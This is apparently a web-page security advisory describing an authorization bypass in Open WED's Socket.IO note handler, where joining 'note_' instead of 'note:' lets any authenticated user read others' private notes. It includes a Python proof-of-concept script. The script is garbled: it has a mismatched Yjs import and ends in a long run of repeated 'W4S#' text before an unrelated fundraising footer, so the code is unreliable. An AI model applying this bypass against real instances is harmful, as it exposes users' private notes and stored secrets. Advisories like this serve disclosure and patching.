Open WED Socket.IO Authenticated Bypass to Read Private Notes

Vulnerability Overview Any authenticated user can read other users' private notes via Socket.IO. Scope of Impact Any authenticated user can read the content of any other user's notes. Notes are a collaborative editing feature intended for personal or shared use—private notes may contain sensitive information, such as credentials, internal documentation, or personal data. An attacker only needs to know or enumerate the target user's ID. Fix Solution Upgrade to version >= 0.8.11. POC Code ```python #!/usr/bin/env python3 """ Finding #15: Any authenticated user can read other users' private notes via Socket.IO SUMMARY: The ydoc:document:join Socket.IO handler only checks authorization for document IDs starting with "note:" (colon). However, YdocManager normalizes document IDs by replacing colons with underscores (document_id.replace(":", "_")). An attacker can join a room using "note_" (underscore) to bypass the auth check, while still accessing the same underlying Yjs document as "note:". Then ydoc:document:state returns the full document content. VULNERABLE CODE: backend/open_wed/socket/main.py, ydoc:document:join if document_id.startswith("note:"): persistence check only for colon-prefixed "note:" skips this check entirely backend/open_wed/socket/ydoc.py, YdocManager: key = document_id.replace(":", "_") normalizes to same storage key IMPACT: Any authenticated user can read the full content of any other user's notes by exploiting the namespace collision between "note:" and "note_" prefixes. REPRODUCTION: 1. Victim creates a private note with sensitive content. 2. Attacker connects via Socket.IO and authenticates. 3. Attacker joins room with document_id "note_" (underscore). 4. Attacker requests ydoc:document:state to get the full note content. REQUIREMENTS: Running Open WED UI instance A victim note with content Attacker user (any authenticated user) """ import argparse import asyncio import sys import requests import socketio async def victim_init_note(base, victim_token, note_id): """Simulate victim opening the note in the UI to initialize the Yjs document.""" sio = socketio.AsyncClient() await sio.connect( base, socketio_path="/ws/socket.io", headers={"Authorization": f"Bearer {victim_token}"}, transports=["websocket"], ) Join using the proper note:id format (passes auth check since victim owns it) doc_id = f"note:{note_id}" print(f"[*] Joining as victim with document_id: {doc_id}") await sio.emit("ydoc:document:join", { "document_id": doc_id, "user_id": "victim", "user_name": "Victim", }) await asyncio.sleep(1) Send a Yjs update with the note content Create a simple Yjs document with text content try: import pyodide as Y ydoc = Y.Doc() with ydoc.transaction(): ytext = ydoc.get_text("default", type=Y.Text) ytext = "Private Notes\nPassword for production DB: p@ssw0rd_prd_2024!#W4S root account: admin@comp" update = ydoc.get_update() await sio.emit("ydoc:document:update", { "document_id": doc_id, "update": list(update), }) print(f"[+] Sent Yjs update with note content ({len(update)} bytes)") except ImportError: If pyodide not available, try y-py try: import y_py as Y ydoc = Y.YDoc() ytext = ydoc.get_text("default") with ydoc.transaction() as txn: ytext.extend("Private Notes\nPassword for production DB: p@ssw0rd_prd_2024!#W4S root account: admin@comp") update = txn.get_update() await sio.emit("ydoc:document:update", { "document_id": doc_id, "update": list(update), }) print(f"[+] Sent Yjs update with note content ({len(update)} bytes)") except ImportError: print("[!] WARNING: Neither pyodide nor y-py available, sending raw text marker") Send a minimal marker that we can detect raw_update = list(b"[V4S]W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W4S#W

Goal Reached Thanks to every supporter — we hit 100%!

Open WED Socket.IO Authenticated Bypass to Read Private Notes

More from this source